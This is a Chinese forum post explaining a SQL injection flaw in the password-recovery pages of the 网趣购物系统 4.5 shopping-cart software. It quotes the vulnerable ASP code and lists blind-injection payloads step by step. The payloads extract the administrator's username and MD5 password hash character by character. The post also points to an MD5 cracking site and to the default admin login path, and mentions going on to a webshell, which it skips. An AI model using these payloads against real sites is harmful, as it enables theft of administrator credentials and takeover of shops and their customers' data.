- UID
- 31191
注册时间2007-5-1
阅读权限20
最后登录1970-1-1
以武会友
TA的每日心情 | 开心 2024-6-9 16:20 |
---|
签到天数: 24 天 [LV.4]偶尔看看III
|
1.网趣购物系统4.5版本的另一注入漏洞(密码找回处的注入)
2典型代码的分析
华夏VIP教程里专门对textbox2.asp文件的注入漏洞做了详细讲解,而textbox2.asp文件只不过是对购物系统的介绍,一般管理员在建站后都会把这无关的文件删了(还有同此类的textbox.asp, textbox3.asp文件)而密码找回却是系统自带的必要功能,今天就谈谈对这类注入的利用和分析.注入漏洞的形成:
getpwd.asp是密码找回的开始文件,而在判断输入的用户名的合法性是getpwd2.asp文件,我们看其中的关键代码:
<!--#include file="conn.asp" -->
<!--#include file="config.asp" -->
<%
username=request.form("username")
set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from [user] where username='"&username&"' "(此为漏洞产生的关键处)
rs.open sql,conn,1,1
If rs.eof Then
%>
<script language="javascript">
alert("这个用户没有注册,请注册!")
;javascrip:close();</script>
<%
End If
%>
如果用户名存在,就进入下一步,用户名不存在,则弹出” 这个用户没有注册,请注册!但对以post方式提交的用户名没有进行过滤就带入了SQL查询语句,这就是注入漏洞的产生(同样在getpwd3.asp文件和getpwd4.asp文件中),不过麻烦了点,只能用手工一步步来注入得到管理员的用户名和密码,手工注入前,我们先看下系统中管理员的表名和关键的字段对应的分别是"wq_admi"和"admin", "password"
漏洞的利用:
注入前先进行判断下:我们在首页左上会员登陆处点”密码找回”进入后在添入用户名一栏处输入’or ‘a’=’a,再点下一步,则出现” 第二步:请回答下列问题”的页面.返回再在添入用户名一栏处输入’or ‘a’=’b则弹出”这个用户没有注册,请注册!”,从二次返回不同的页面来判断,说明注入的漏洞存在,下面我们依次进行手工注入:
1:判断表名:'or exists(select * from wq_admin) and 'a'='a
2:分别判断表名中的字段
'or exists(select admin from wq_admin) and 'a'='a
'or exists(select password from wq_admin) and 'a'='a
3猜解用户名的长度: 'or (select top 1 len(admin) from wq_admin)>0 and 'a'='a
4:猜解用户名(ASCII码):'or (select top 1 asc(mid(admin,N,1)) from wq_admin)>0 and 'a'='a
5:猜解密码长度和密码同上.(管理员的密码长度是16位的MD5加密的)
'or (select top 1 asc(mid(password,N,1)) from wq_admin)>0 and 'a'='a
猜解出的密码进行过MD5加密,所以我们要进行密码的解密
由于MD5加密算法是不可逆的,所以呢,我们只有采用暴力破解的方法.
http://www.cmd5.com MD5解密网站
2.后台的操作---中点目标webshell(略过)
后台默认地址:/admin/login.asp |
|